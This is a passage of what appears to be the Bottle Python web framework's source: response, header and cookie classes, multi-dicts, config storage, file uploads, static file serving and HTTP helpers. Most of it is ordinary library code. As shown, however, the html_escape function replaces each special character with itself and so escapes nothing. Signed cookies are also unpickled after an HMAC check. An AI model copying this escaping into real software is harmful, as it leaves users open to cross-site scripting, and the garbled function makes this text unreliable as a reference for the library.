%s>' % (self.__class__.__name__, self.method, self.url) def __getattr__(self, name): """ Search in self.environ for additional user defined attributes. """ try: var = self.environ['bottle.request.ext.%s' % name] return var.__get__(self) if hasattr(var, '__get__') else var except KeyError: raise AttributeError('Attribute %r not defined.' % name) def __setattr__(self, name, value): if name == 'environ': return object.__setattr__(self, name, value) key = 'bottle.request.ext.%s' % name if key in self.environ: raise AttributeError("Attribute already defined: %s" % name) self.environ[key] = value def __delattr__(self, name, value): try: del self.environ['bottle.request.ext.%s' % name] except KeyError: raise AttributeError("Attribute not defined: %s" % name) def _hkey(s): return s.title().replace('_', '-') class HeaderProperty(object): def __init__(self, name, reader=None, writer=str, default=''): self.name, self.default = name, default self.reader, self.writer = reader, writer self.__doc__ = 'Current value of the %r header.' % name.title() def __get__(self, obj, _): if obj is None: return self value = obj.headers.get(self.name, self.default) return self.reader(value) if self.reader else value def __set__(self, obj, value): obj.headers[self.name] = self.writer(value) def __delete__(self, obj): del obj.headers[self.name] class BaseResponse(object): """ Storage class for a response body as well as headers and cookies. This class does support dict-like case-insensitive item-access to headers, but is NOT a dict. Most notably, iterating over a response yields parts of the body and not the headers. :param body: The response body as one of the supported types. :param status: Either an HTTP status code (e.g. 200) or a status line including the reason phrase (e.g. '200 OK'). :param headers: A dictionary or a list of name-value pairs. Additional keyword arguments are added to the list of headers. Underscores in the header name are replaced with dashes. """ default_status = 200 default_content_type = 'text/html; charset=UTF-8' # Header blacklist for specific response codes # (rfc2616 section 10.2.3 and 10.3.5) bad_headers = { 204: set(('Content-Type', )), 304: set(('Allow', 'Content-Encoding', 'Content-Language', 'Content-Length', 'Content-Range', 'Content-Type', 'Content-Md5', 'Last-Modified')) } def __init__(self, body='', status=None, headers=None, **more_headers): self._cookies = None self._headers = {} self.body = body self.status = status or self.default_status if headers: if isinstance(headers, dict): headers = headers.items() for name, value in headers: self.add_header(name, value) if more_headers: for name, value in more_headers.items(): self.add_header(name, value) def copy(self, cls=None): """ Returns a copy of self. """ cls = cls or BaseResponse assert issubclass(cls, BaseResponse) copy = cls() copy.status = self.status copy._headers = dict((k, v[:]) for (k, v) in self._headers.items()) if self._cookies: copy._cookies = SimpleCookie() copy._cookies.load(self._cookies.output(header='')) return copy def __iter__(self): return iter(self.body) def close(self): if hasattr(self.body, 'close'): self.body.close() @property def status_line(self): """ The HTTP status line as a string (e.g. ``404 Not Found``).""" return self._status_line @property def status_code(self): """ The HTTP status code as an integer (e.g. 404).""" return self._status_code def _set_status(self, status): if isinstance(status, int): code, status = status, _HTTP_STATUS_LINES.get(status) elif ' ' in status: status = status.strip() code = int(status.split()[0]) else: raise ValueError('String status line without a reason phrase.') if not 100 <= code <= 999: raise ValueError('Status code out of range.') self._status_code = code self._status_line = str(status or ('%d Unknown' % code)) def _get_status(self): return self._status_line status = property( _get_status, _set_status, None, ''' A writeable property to change the HTTP response status. It accepts either a numeric code (100-999) or a string with a custom reason phrase (e.g. "404 Brain not found"). Both :data:`status_line` and :data:`status_code` are updated accordingly. The return value is always a status string. ''') del _get_status, _set_status @property def headers(self): """ An instance of :class:`HeaderDict`, a case-insensitive dict-like view on the response headers. """ hdict = HeaderDict() hdict.dict = self._headers return hdict def __contains__(self, name): return _hkey(name) in self._headers def __delitem__(self, name): del self._headers[_hkey(name)] def __getitem__(self, name): return self._headers[_hkey(name)][-1] def __setitem__(self, name, value): self._headers[_hkey(name)] = [value if isinstance(value, unicode) else str(value)] def get_header(self, name, default=None): """ Return the value of a previously defined header. If there is no header with that name, return a default value. """ return self._headers.get(_hkey(name), [default])[-1] def set_header(self, name, value): """ Create a new response header, replacing any previously defined headers with the same name. """ self._headers[_hkey(name)] = [value if isinstance(value, unicode) else str(value)] def add_header(self, name, value): """ Add an additional response header, not removing duplicates. """ self._headers.setdefault(_hkey(name), []).append( value if isinstance(value, unicode) else str(value)) def iter_headers(self): """ Yield (header, value) tuples, skipping headers that are not allowed with the current response status code. """ return self.headerlist @property def headerlist(self): """ WSGI conform list of (header, value) tuples. """ out = [] headers = list(self._headers.items()) if 'Content-Type' not in self._headers: headers.append(('Content-Type', [self.default_content_type])) if self._status_code in self.bad_headers: bad_headers = self.bad_headers[self._status_code] headers = [h for h in headers if h[0] not in bad_headers] out += [(name, val) for (name, vals) in headers for val in vals] if self._cookies: for c in self._cookies.values(): out.append(('Set-Cookie', c.OutputString())) if py3k: return [(k, v.encode('utf8').decode('latin1')) for (k, v) in out] else: return [(k, v.encode('utf8') if isinstance(v, unicode) else v) for (k, v) in out] content_type = HeaderProperty('Content-Type') content_length = HeaderProperty('Content-Length', reader=int) expires = HeaderProperty( 'Expires', reader=lambda x: datetime.utcfromtimestamp(parse_date(x)), writer=lambda x: http_date(x)) @property def charset(self, default='UTF-8'): """ Return the charset specified in the content-type header (default: utf8). """ if 'charset=' in self.content_type: return self.content_type.split('charset=')[-1].split(';')[0].strip() return default def set_cookie(self, name, value, secret=None, **options): """ Create a new cookie or replace an old one. If the `secret` parameter is set, create a `Signed Cookie` (described below). :param name: the name of the cookie. :param value: the value of the cookie. :param secret: a signature key required for signed cookies. Additionally, this method accepts all RFC 2109 attributes that are supported by :class:`cookie.Morsel`, including: :param max_age: maximum age in seconds. (default: None) :param expires: a datetime object or UNIX timestamp. (default: None) :param domain: the domain that is allowed to read the cookie. (default: current domain) :param path: limits the cookie to a given path (default: current path) :param secure: limit the cookie to HTTPS connections (default: off). :param httponly: prevents client-side javascript to read this cookie (default: off, requires Python 2.6 or newer). If neither `expires` nor `max_age` is set (default), the cookie will expire at the end of the browser session (as soon as the browser window is closed). Signed cookies may store any pickle-able object and are cryptographically signed to prevent manipulation. Keep in mind that cookies are limited to 4kb in most browsers. Warning: Signed cookies are not encrypted (the client can still see the content) and not copy-protected (the client can restore an old cookie). The main intention is to make pickling and unpickling save, not to store secret information at client side. """ if not self._cookies: self._cookies = SimpleCookie() if secret: value = touni(cookie_encode((name, value), secret)) elif not isinstance(value, basestring): raise TypeError('Secret key missing for non-string Cookie.') # Cookie size plus options must not exceed 4kb. if len(name) + len(value) > 3800: raise ValueError('Content does not fit into a cookie.') self._cookies[name] = value for key, value in options.items(): if key == 'max_age': if isinstance(value, timedelta): value = value.seconds + value.days * 24 * 3600 if key == 'expires': if isinstance(value, (datedate, datetime)): value = value.timetuple() elif isinstance(value, (int, float)): value = time.gmtime(value) value = time.strftime("%a, %d %b %Y %H:%M:%S GMT", value) if key in ('secure', 'httponly') and not value: continue self._cookies[name][key.replace('_', '-')] = value def delete_cookie(self, key, **kwargs): """ Delete a cookie. Be sure to use the same `domain` and `path` settings as used to create the cookie. """ kwargs['max_age'] = -1 kwargs['expires'] = 0 self.set_cookie(key, '', **kwargs) def __repr__(self): out = '' for name, value in self.headerlist: out += '%s: %s\n' % (name.title(), value.strip()) return out def _local_property(): ls = threading.local() def fget(_): try: return ls.var except AttributeError: raise RuntimeError("Request context not initialized.") def fset(_, value): ls.var = value def fdel(_): del ls.var return property(fget, fset, fdel, 'Thread-local property') class LocalRequest(BaseRequest): """ A thread-local subclass of :class:`BaseRequest` with a different set of attributes for each thread. There is usually only one global instance of this class (:data:`request`). If accessed during a request/response cycle, this instance always refers to the *current* request (even on a multithreaded server). """ bind = BaseRequest.__init__ environ = _local_property() class LocalResponse(BaseResponse): """ A thread-local subclass of :class:`BaseResponse` with a different set of attributes for each thread. There is usually only one global instance of this class (:data:`response`). Its attributes are used to build the HTTP response at the end of the request/response cycle. """ bind = BaseResponse.__init__ _status_line = _local_property() _status_code = _local_property() _cookies = _local_property() _headers = _local_property() body = _local_property() Request = BaseRequest Response = BaseResponse class HTTPResponse(Response, BottleException): def __init__(self, body='', status=None, headers=None, **more_headers): super(HTTPResponse, self).__init__(body, status, headers, **more_headers) def apply(self, other): other._status_code = self._status_code other._status_line = self._status_line other._headers = self._headers other._cookies = self._cookies other.body = self.body class HTTPError(HTTPResponse): default_status = 500 def __init__(self, status=None, body=None, exception=None, traceback=None, **more_headers): self.exception = exception self.traceback = traceback super(HTTPError, self).__init__(body, status, **more_headers) ############################################################################### # Plugins ###################################################################### ############################################################################### class PluginError(BottleException): pass class JSONPlugin(object): name = 'json' api = 2 def __init__(self, json_dumps=json_dumps): self.json_dumps = json_dumps def apply(self, callback, _): dumps = self.json_dumps if not dumps: return callback def wrapper(*a, **ka): try: rv = callback(*a, **ka) except HTTPError: rv = _e() if isinstance(rv, dict): #Attempt to serialize, raises exception on failure json_response = dumps(rv) #Set content type only if serialization successful response.content_type = 'application/json' return json_response elif isinstance(rv, HTTPResponse) and isinstance(rv.body, dict): rv.body = dumps(rv.body) rv.content_type = 'application/json' return rv return wrapper class TemplatePlugin(object): """ This plugin applies the :func:`view` decorator to all routes with a `template` config parameter. If the parameter is a tuple, the second element must be a dict with additional options (e.g. `template_engine`) or default variables for the template. """ name = 'template' api = 2 def setup(self, app): app.tpl = self def apply(self, callback, route): conf = route.config.get('template') if isinstance(conf, (tuple, list)) and len(conf) == 2: return view(conf[0], **conf[1])(callback) elif isinstance(conf, str): return view(conf)(callback) else: return callback #: Not a plugin, but part of the plugin API. TODO: Find a better place. class _ImportRedirect(object): def __init__(self, name, impmask): """ Create a virtual package that redirects imports (see PEP 302). """ self.name = name self.impmask = impmask self.module = sys.modules.setdefault(name, imp.new_module(name)) self.module.__dict__.update({ '__file__': __file__, '__path__': [], '__all__': [], '__loader__': self }) sys.meta_path.append(self) def find_module(self, fullname, path=None): if '.' not in fullname: return packname = fullname.rsplit('.', 1)[0] if packname != self.name: return return self def load_module(self, fullname): if fullname in sys.modules: return sys.modules[fullname] modname = fullname.rsplit('.', 1)[1] realname = self.impmask % modname __import__(realname) module = sys.modules[fullname] = sys.modules[realname] setattr(self.module, modname, module) module.__loader__ = self return module ############################################################################### # Common Utilities ############################################################# ############################################################################### class MultiDict(DictMixin): """ This dict stores multiple values per key, but behaves exactly like a normal dict in that it returns only the newest value for any given key. There are special methods available to access the full list of values. """ def __init__(self, *a, **k): self.dict = dict((k, [v]) for (k, v) in dict(*a, **k).items()) def __len__(self): return len(self.dict) def __iter__(self): return iter(self.dict) def __contains__(self, key): return key in self.dict def __delitem__(self, key): del self.dict[key] def __getitem__(self, key): return self.dict[key][-1] def __setitem__(self, key, value): self.append(key, value) def keys(self): return self.dict.keys() if py3k: def values(self): return (v[-1] for v in self.dict.values()) def items(self): return ((k, v[-1]) for k, v in self.dict.items()) def allitems(self): return ((k, v) for k, vl in self.dict.items() for v in vl) iterkeys = keys itervalues = values iteritems = items iterallitems = allitems else: def values(self): return [v[-1] for v in self.dict.values()] def items(self): return [(k, v[-1]) for k, v in self.dict.items()] def iterkeys(self): return self.dict.iterkeys() def itervalues(self): return (v[-1] for v in self.dict.itervalues()) def iteritems(self): return ((k, v[-1]) for k, v in self.dict.iteritems()) def iterallitems(self): return ((k, v) for k, vl in self.dict.iteritems() for v in vl) def allitems(self): return [(k, v) for k, vl in self.dict.iteritems() for v in vl] def get(self, key, default=None, index=-1, type=None): """ Return the most recent value for a key. :param default: The default value to be returned if the key is not present or the type conversion fails. :param index: An index for the list of available values. :param type: If defined, this callable is used to cast the value into a specific type. Exception are suppressed and result in the default value to be returned. """ try: val = self.dict[key][index] return type(val) if type else val except Exception: pass return default def append(self, key, value): """ Add a new value to the list of values for this key. """ self.dict.setdefault(key, []).append(value) def replace(self, key, value): """ Replace the list of values with a single value. """ self.dict[key] = [value] def getall(self, key): """ Return a (possibly empty) list of values for a key. """ return self.dict.get(key) or [] #: Aliases for WTForms to mimic other multi-dict APIs (Django) getone = get getlist = getall class FormsDict(MultiDict): """ This :class:`MultiDict` subclass is used to store request form data. Additionally to the normal dict-like item access methods (which return unmodified data as native strings), this container also supports attribute-like access to its values. Attributes are automatically de- or recoded to match :attr:`input_encoding` (default: 'utf8'). Missing attributes default to an empty string. """ #: Encoding used for attribute values. input_encoding = 'utf8' #: If true (default), unicode strings are first encoded with `latin1` #: and then decoded to match :attr:`input_encoding`. recode_unicode = True def _fix(self, s, encoding=None): if isinstance(s, unicode) and self.recode_unicode: # Python 3 WSGI return s.encode('latin1').decode(encoding or self.input_encoding) elif isinstance(s, bytes): # Python 2 WSGI return s.decode(encoding or self.input_encoding) else: return s def decode(self, encoding=None): """ Returns a copy with all keys and values de- or recoded to match :attr:`input_encoding`. Some libraries (e.g. WTForms) want a unicode dictionary. """ copy = FormsDict() enc = copy.input_encoding = encoding or self.input_encoding copy.recode_unicode = False for key, value in self.allitems(): copy.append(self._fix(key, enc), self._fix(value, enc)) return copy def getunicode(self, name, default=None, encoding=None): """ Return the value as a unicode string, or the default. """ try: return self._fix(self[name], encoding) except (UnicodeError, KeyError): return default def __getattr__(self, name, default=unicode()): # Without this guard, pickle generates a cryptic TypeError: if name.startswith('__') and name.endswith('__'): return super(FormsDict, self).__getattr__(name) return self.getunicode(name, default=default) class HeaderDict(MultiDict): """ A case-insensitive version of :class:`MultiDict` that defaults to replace the old value instead of appending it. """ def __init__(self, *a, **ka): self.dict = {} if a or ka: self.update(*a, **ka) def __contains__(self, key): return _hkey(key) in self.dict def __delitem__(self, key): del self.dict[_hkey(key)] def __getitem__(self, key): return self.dict[_hkey(key)][-1] def __setitem__(self, key, value): self.dict[_hkey(key)] = [value if isinstance(value, unicode) else str(value)] def append(self, key, value): self.dict.setdefault(_hkey(key), []).append( value if isinstance(value, unicode) else str(value)) def replace(self, key, value): self.dict[_hkey(key)] = [value if isinstance(value, unicode) else str(value)] def getall(self, key): return self.dict.get(_hkey(key)) or [] def get(self, key, default=None, index=-1): return MultiDict.get(self, _hkey(key), default, index) def filter(self, names): for name in [_hkey(n) for n in names]: if name in self.dict: del self.dict[name] class WSGIHeaderDict(DictMixin): """ This dict-like class wraps a WSGI environ dict and provides convenient access to HTTP_* fields. Keys and values are native strings (2.x bytes or 3.x unicode) and keys are case-insensitive. If the WSGI environment contains non-native string values, these are de- or encoded using a lossless 'latin1' character set. The API will remain stable even on changes to the relevant PEPs. Currently PEP 333, 444 and 3333 are supported. (PEP 444 is the only one that uses non-native strings.) """ #: List of keys that do not have a ``HTTP_`` prefix. cgikeys = ('CONTENT_TYPE', 'CONTENT_LENGTH') def __init__(self, environ): self.environ = environ def _ekey(self, key): """ Translate header field name to CGI/WSGI environ key. """ key = key.replace('-', '_').upper() if key in self.cgikeys: return key return 'HTTP_' + key def raw(self, key, default=None): """ Return the header value as is (may be bytes or unicode). """ return self.environ.get(self._ekey(key), default) def __getitem__(self, key): val = self.environ[self._ekey(key)] if py3k: if isinstance(val, unicode): val = val.encode('latin1').decode('utf8') else: val = val.decode('utf8') return val def __setitem__(self, key, value): raise TypeError("%s is read-only." % self.__class__) def __delitem__(self, key): raise TypeError("%s is read-only." % self.__class__) def __iter__(self): for key in self.environ: if key[:5] == 'HTTP_': yield _hkey(key[5:]) elif key in self.cgikeys: yield _hkey(key) def keys(self): return [x for x in self] def __len__(self): return len(self.keys()) def __contains__(self, key): return self._ekey(key) in self.environ class ConfigDict(dict): """ A dict-like configuration storage with additional support for namespaces, validators, meta-data, on_change listeners and more. """ __slots__ = ('_meta', '_on_change') def __init__(self): self._meta = {} self._on_change = lambda name, value: None def load_module(self, path, squash): """ Load values from a Python module. :param squash: Squash nested dicts into namespaces by using load_dict(), otherwise use update() Example: load_config('my.app.settings', True) Example: load_config('my.app.settings', False) """ config_obj = __import__(path) obj = dict([(key, getattr(config_obj, key)) for key in dir(config_obj) if key.isupper()]) if squash: self.load_dict(obj) else: self.update(obj) return self def load_config(self, filename): """ Load values from an ``*.ini`` style config file. If the config file contains sections, their names are used as namespaces for the values within. The two special sections ``DEFAULT`` and ``bottle`` refer to the root namespace (no prefix). """ conf = ConfigParser() conf.read(filename) for section in conf.sections(): for key, value in conf.items(section): if section not in ('DEFAULT', 'bottle'): key = section + '.' + key self[key] = value return self def load_dict(self, source, namespace=''): """ Load values from a dictionary structure. Nesting can be used to represent namespaces. >>> c = ConfigDict() >>> c.load_dict({'some': {'namespace': {'key': 'value'} } }) {'some.namespace.key': 'value'} """ for key, value in source.items(): if isinstance(key, basestring): nskey = (namespace + '.' + key).strip('.') if isinstance(value, dict): self.load_dict(value, namespace=nskey) else: self[nskey] = value else: raise TypeError('Key has type %r (not a string)' % type(key)) return self def update(self, *a, **ka): """ If the first parameter is a string, all keys are prefixed with this namespace. Apart from that it works just as the usual dict.update(). Example: ``update('some.namespace', key='value')`` """ prefix = '' if a and isinstance(a[0], basestring): prefix = a[0].strip('.') + '.' a = a[1:] for key, value in dict(*a, **ka).items(): self[prefix + key] = value def setdefault(self, key, value): if key not in self: self[key] = value return self[key] def __setitem__(self, key, value): if not isinstance(key, basestring): raise TypeError('Key has type %r (not a string)' % type(key)) value = self.meta_get(key, 'filter', lambda x: x)(value) if key in self and self[key] is value: return self._on_change(key, value) dict.__setitem__(self, key, value) def __delitem__(self, key): self._on_change(key, None) dict.__delitem__(self, key) def meta_get(self, key, metafield, default=None): """ Return the value of a meta field for a key. """ return self._meta.get(key, {}).get(metafield, default) def meta_set(self, key, metafield, value): """ Set the meta field for a key to a new value. This triggers the on-change handler for existing keys. """ self._meta.setdefault(key, {})[metafield] = value if key in self: self[key] = self[key] def meta_list(self, key): """ Return an iterable of meta field names defined for a key. """ return self._meta.get(key, {}).keys() class AppStack(list): """ A stack-like list. Calling it returns the head of the stack. """ def __call__(self): """ Return the current default application. """ return self[-1] def push(self, value=None): """ Add a new :class:`Bottle` instance to the stack """ if not isinstance(value, Bottle): value = Bottle() self.append(value) return value class WSGIFileWrapper(object): def __init__(self, fp, buffer_size=1024 * 64): self.fp, self.buffer_size = fp, buffer_size for attr in ('fileno', 'close', 'read', 'readlines', 'tell', 'seek'): if hasattr(fp, attr): setattr(self, attr, getattr(fp, attr)) def __iter__(self): buff, read = self.buffer_size, self.read while True: part = read(buff) if not part: return yield part class _closeiter(object): """ This only exists to be able to attach a .close method to iterators that do not support attribute assignment (most of itertools). """ def __init__(self, iterator, close=None): self.iterator = iterator self.close_callbacks = makelist(close) def __iter__(self): return iter(self.iterator) def close(self): for func in self.close_callbacks: func() class ResourceManager(object): """ This class manages a list of search paths and helps to find and open application-bound resources (files). :param base: default value for :meth:`add_path` calls. :param opener: callable used to open resources. :param cachemode: controls which lookups are cached. One of 'all', 'found' or 'none'. """ def __init__(self, base='./', opener=open, cachemode='all'): self.opener = opener self.base = base self.cachemode = cachemode #: A list of search paths. See :meth:`add_path` for details. self.path = [] #: A cache for resolved paths. ``res.cache.clear()`` clears the cache. self.cache = {} def add_path(self, path, base=None, index=None, create=False): """ Add a new path to the list of search paths. Return False if the path does not exist. :param path: The new search path. Relative paths are turned into an absolute and normalized form. If the path looks like a file (not ending in `/`), the filename is stripped off. :param base: Path used to absolutize relative search paths. Defaults to :attr:`base` which defaults to ``os.getcwd()``. :param index: Position within the list of search paths. Defaults to last index (appends to the list). The `base` parameter makes it easy to reference files installed along with a python module or package:: res.add_path('./resources/', __file__) """ base = os.path.abspath(os.path.dirname(base or self.base)) path = os.path.abspath(os.path.join(base, os.path.dirname(path))) path += os.sep if path in self.path: self.path.remove(path) if create and not os.path.isdir(path): os.makedirs(path) if index is None: self.path.append(path) else: self.path.insert(index, path) self.cache.clear() return os.path.exists(path) def __iter__(self): """ Iterate over all existing files in all registered paths. """ search = self.path[:] while search: path = search.pop() if not os.path.isdir(path): continue for name in os.listdir(path): full = os.path.join(path, name) if os.path.isdir(full): search.append(full) else: yield full def lookup(self, name): """ Search for a resource and return an absolute file path, or `None`. The :attr:`path` list is searched in order. The first match is returend. Symlinks are followed. The result is cached to speed up future lookups. """ if name not in self.cache or DEBUG: for path in self.path: fpath = os.path.join(path, name) if os.path.isfile(fpath): if self.cachemode in ('all', 'found'): self.cache[name] = fpath return fpath if self.cachemode == 'all': self.cache[name] = None return self.cache[name] def open(self, name, mode='r', *args, **kwargs): """ Find a resource and return a file object, or raise IOError. """ fname = self.lookup(name) if not fname: raise IOError("Resource %r not found." % name) return self.opener(fname, mode=mode, *args, **kwargs) class FileUpload(object): def __init__(self, fileobj, name, filename, headers=None): """ Wrapper for file uploads. """ #: Open file(-like) object (BytesIO buffer or temporary file) self.file = fileobj #: Name of the upload form field self.name = name #: Raw filename as sent by the client (may contain unsafe characters) self.raw_filename = filename #: A :class:`HeaderDict` with additional headers (e.g. content-type) self.headers = HeaderDict(headers) if headers else HeaderDict() content_type = HeaderProperty('Content-Type') content_length = HeaderProperty('Content-Length', reader=int, default=-1) @cached_property def filename(self): """ Name of the file on the client file system, but normalized to ensure file system compatibility. An empty filename is returned as 'empty'. Only ASCII letters, digits, dashes, underscores and dots are allowed in the final filename. Accents are removed, if possible. Whitespace is replaced by a single dash. Leading or tailing dots or dashes are removed. The filename is limited to 255 characters. """ fname = self.raw_filename if not isinstance(fname, unicode): fname = fname.decode('utf8', 'ignore') fname = normalize('NFKD', fname) fname = fname.encode('ASCII', 'ignore').decode('ASCII') fname = os.path.basename(fname.replace('\\', os.path.sep)) fname = re.sub(r'[^a-zA-Z0-9-_.\s]', '', fname).strip() fname = re.sub(r'[-\s]+', '-', fname).strip('.-') return fname[:255] or 'empty' def _copy_file(self, fp, chunk_size=2 ** 16): read, write, offset = self.file.read, fp.write, self.file.tell() while 1: buf = read(chunk_size) if not buf: break write(buf) self.file.seek(offset) def save(self, destination, overwrite=False, chunk_size=2 ** 16): """ Save file to disk or copy its content to an open file(-like) object. If *destination* is a directory, :attr:`filename` is added to the path. Existing files are not overwritten by default (IOError). :param destination: File path, directory or file(-like) object. :param overwrite: If True, replace existing files. (default: False) :param chunk_size: Bytes to read at a time. (default: 64kb) """ if isinstance(destination, basestring): # Except file-likes here if os.path.isdir(destination): destination = os.path.join(destination, self.filename) if not overwrite and os.path.exists(destination): raise IOError('File exists.') with open(destination, 'wb') as fp: self._copy_file(fp, chunk_size) else: self._copy_file(destination, chunk_size) ############################################################################### # Application Helper ########################################################### ############################################################################### def abort(code=500, text='Unknown Error.'): """ Aborts execution and causes a HTTP error. """ raise HTTPError(code, text) def redirect(url, code=None): """ Aborts execution and causes a 303 or 302 redirect, depending on the HTTP protocol version. """ if not code: code = 303 if request.get('SERVER_PROTOCOL') == "HTTP/1.1" else 302 res = response.copy(cls=HTTPResponse) res.status = code res.body = "" res.set_header('Location', urljoin(request.url, url)) raise res def _file_iter_range(fp, offset, bytes, maxread=1024 * 1024): """ Yield chunks from a range in a file. No chunk is bigger than maxread.""" fp.seek(offset) while bytes > 0: part = fp.read(min(bytes, maxread)) if not part: break bytes -= len(part) yield part def static_file(filename, root, mimetype='auto', download=False, charset='UTF-8'): """ Open a file in a safe way and return :exc:`HTTPResponse` with status code 200, 305, 403 or 404. The ``Content-Type``, ``Content-Encoding``, ``Content-Length`` and ``Last-Modified`` headers are set if possible. Special support for ``If-Modified-Since``, ``Range`` and ``HEAD`` requests. :param filename: Name or path of the file to send. :param root: Root path for file lookups. Should be an absolute directory path. :param mimetype: Defines the content-type header (default: guess from file extension) :param download: If True, ask the browser to open a `Save as...` dialog instead of opening the file with the associated program. You can specify a custom filename as a string. If not specified, the original filename is used (default: False). :param charset: The charset to use for files with a ``text/*`` mime-type. (default: UTF-8) """ root = os.path.abspath(root) + os.sep filename = os.path.abspath(os.path.join(root, filename.strip('/\\'))) headers = dict() if not filename.startswith(root): return HTTPError(403, "Access denied.") if not os.path.exists(filename) or not os.path.isfile(filename): return HTTPError(404, "File does not exist.") if not os.access(filename, os.R_OK): return HTTPError(403, "You do not have permission to access this file.") if mimetype == 'auto': if download and download != True: mimetype, encoding = mimetypes.guess_type(download) else: mimetype, encoding = mimetypes.guess_type(filename) if encoding: headers['Content-Encoding'] = encoding if mimetype: if mimetype[:5] == 'text/' and charset and 'charset' not in mimetype: mimetype += '; charset=%s' % charset headers['Content-Type'] = mimetype if download: download = os.path.basename(filename if download == True else download) headers['Content-Disposition'] = 'attachment; filename="%s"' % download stats = os.stat(filename) headers['Content-Length'] = clen = stats.st_size lm = time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.gmtime(stats.st_mtime)) headers['Last-Modified'] = lm ims = request.environ.get('HTTP_IF_MODIFIED_SINCE') if ims: ims = parse_date(ims.split(";")[0].strip()) if ims is not None and ims >= int(stats.st_mtime): headers['Date'] = time.strftime("%a, %d %b %Y %H:%M:%S GMT", time.gmtime()) return HTTPResponse(status=304, **headers) body = '' if request.method == 'HEAD' else open(filename, 'rb') headers["Accept-Ranges"] = "bytes" ranges = request.environ.get('HTTP_RANGE') if 'HTTP_RANGE' in request.environ: ranges = list(parse_range_header(request.environ['HTTP_RANGE'], clen)) if not ranges: return HTTPError(416, "Requested Range Not Satisfiable") offset, end = ranges[0] headers["Content-Range"] = "bytes %d-%d/%d" % (offset, end - 1, clen) headers["Content-Length"] = str(end - offset) if body: body = _file_iter_range(body, offset, end - offset) return HTTPResponse(body, status=206, **headers) return HTTPResponse(body, **headers) ############################################################################### # HTTP Utilities and MISC (TODO) ############################################### ############################################################################### def debug(mode=True): """ Change the debug level. There is only one debug level supported at the moment.""" global DEBUG if mode: warnings.simplefilter('default') DEBUG = bool(mode) def http_date(value): if isinstance(value, (datedate, datetime)): value = value.utctimetuple() elif isinstance(value, (int, float)): value = time.gmtime(value) if not isinstance(value, basestring): value = time.strftime("%a, %d %b %Y %H:%M:%S GMT", value) return value def parse_date(ims): """ Parse rfc1123, rfc850 and asctime timestamps and return UTC epoch. """ try: ts = email.utils.parsedate_tz(ims) return time.mktime(ts[:8] + (0, )) - (ts[9] or 0) - time.timezone except (TypeError, ValueError, IndexError, OverflowError): return None def parse_auth(header): """ Parse rfc2617 HTTP authentication header string (basic) and return (user,pass) tuple or None""" try: method, data = header.split(None, 1) if method.lower() == 'basic': user, pwd = touni(base64.b64decode(tob(data))).split(':', 1) return user, pwd except (KeyError, ValueError): return None def parse_range_header(header, maxlen=0): """ Yield (start, end) ranges parsed from a HTTP Range header. Skip unsatisfiable ranges. The end index is non-inclusive.""" if not header or header[:6] != 'bytes=': return ranges = [r.split('-', 1) for r in header[6:].split(',') if '-' in r] for start, end in ranges: try: if not start: # bytes=-100 -> last 100 bytes start, end = max(0, maxlen - int(end)), maxlen elif not end: # bytes=100- -> all but the first 99 bytes start, end = int(start), maxlen else: # bytes=100-200 -> bytes 100-200 (inclusive) start, end = int(start), min(int(end) + 1, maxlen) if 0 <= start < end <= maxlen: yield start, end except ValueError: pass def _parse_qsl(qs): r = [] for pair in qs.replace(';', '&').split('&'): if not pair: continue nv = pair.split('=', 1) if len(nv) != 2: nv.append('') key = urlunquote(nv[0].replace('+', ' ')) value = urlunquote(nv[1].replace('+', ' ')) r.append((key, value)) return r def _lscmp(a, b): """ Compares two strings in a cryptographically safe way: Runtime is not affected by length of common prefix. """ return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b) def cookie_encode(data, key): """ Encode and sign a pickle-able object. Return a (byte) string """ msg = base64.b64encode(pickle.dumps(data, -1)) sig = base64.b64encode(hmac.new(tob(key), msg).digest()) return tob('!') + sig + tob('?') + msg def cookie_decode(data, key): """ Verify and decode an encoded string. Return an object or None.""" data = tob(data) if cookie_is_encoded(data): sig, msg = data.split(tob('?'), 1) if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg).digest())): return pickle.loads(base64.b64decode(msg)) return None def cookie_is_encoded(data): """ Return True if the argument looks like a encoded cookie.""" return bool(data.startswith(tob('!')) and tob('?') in data) def html_escape(string): """ Escape HTML special characters ``&<>`` and quotes ``'"``. """ return string.replace('&', '&').replace('<', '<').replace('>', '>')\ .replace('"', '"').replace("'", ''') def html_quote(string): """ Escape and quote a string to be used as an HTTP attribute.""" return '"%s"' % html_escape(string).replace('\n', ' ')\ .replace('\r', ' ').replace('\t', ' ') def yieldroutes(func): """ Return a generator for routes that match the signature (name, args) of the func parameter. This may yield more than one route if the function takes optional keyword arguments. The output is best described by example:: a() -> '/a' b(x, y) -> '/b/<x>/<y>' c(x, y=5) -> '/c/<x>' and '/c/<x>/<y>' d(x=5, y=6) -> '/d' and '/d/<x>' and '/d/<x>/<y>' """ path = '/' + func.__name__.replace('__', '/').lstrip('/') spec = getargspec(func) argc = len(spec[0]) - len(spec[3] or []) path += ('/<%s>' * argc) % tuple(spec[0][:argc]) yield path for arg in spec[0][argc:]: path += '/<%s>' % arg yield path def path_shift(script_name, path_info, shift=1): """ Shift path fragments from PATH_INFO to SCRIPT_NAME and vice versa. :return: The modified paths. :param script_name: The SCRIPT_NAME path. :param script_name: The PATH_INFO path. :param shift: The number of path fragments to shift. May be negative to change the shift direction. (default: 1) """ if shift == 0: return script_name, path_info pathlist = path_info.strip('/').split('/') scriptlist = script_name.strip('/').split('/') if pathlist and pathlist[0] == '': pathlist = [] if scriptlist and scriptlist[0] == '': scriptlist = [] if 0 < shift <= len(pathlist): moved = pathlist[:shift] scriptlist = scriptlist + moved pathlist = pathlist[shift:] elif 0 > shift >= -len(scriptlist): moved = scriptlist[shift:] pathlist = moved + pathlist scriptlist = scriptlist[:shift] else: empty = 'SCRIPT_NAME' if shift < 0 else 'PATH_INFO' raise AssertionError("Cannot shift. Nothing left from %s" % empty) new_script_name = '/' + '/'.join(scriptlist) new_path_info = '/' + '/'.join(pathlist) if path_info.endswith('/') and pathlist: new_path_info += '/' return new_script_name, new_path_info def auth_basic(check, realm="private", text="Access denied"): """ Callback decorator to require HTTP auth (basic). TODO: Add route(check_auth=...) parameter. """ def decorator(func): @functools.wraps(func) def wrapper(*a, **ka): user, password = request.auth or (None, None) if user is None or not check(user, password): err = HTTPError(401, text) err.add_header('WWW-Authenticate', 'Basic realm="%s"' % realm) return err return func(*a, **ka) return wrapper return decorator # Shortcuts for common Bottle methods. # They all refer to the current default application. def make_default_app_wrapper(name): 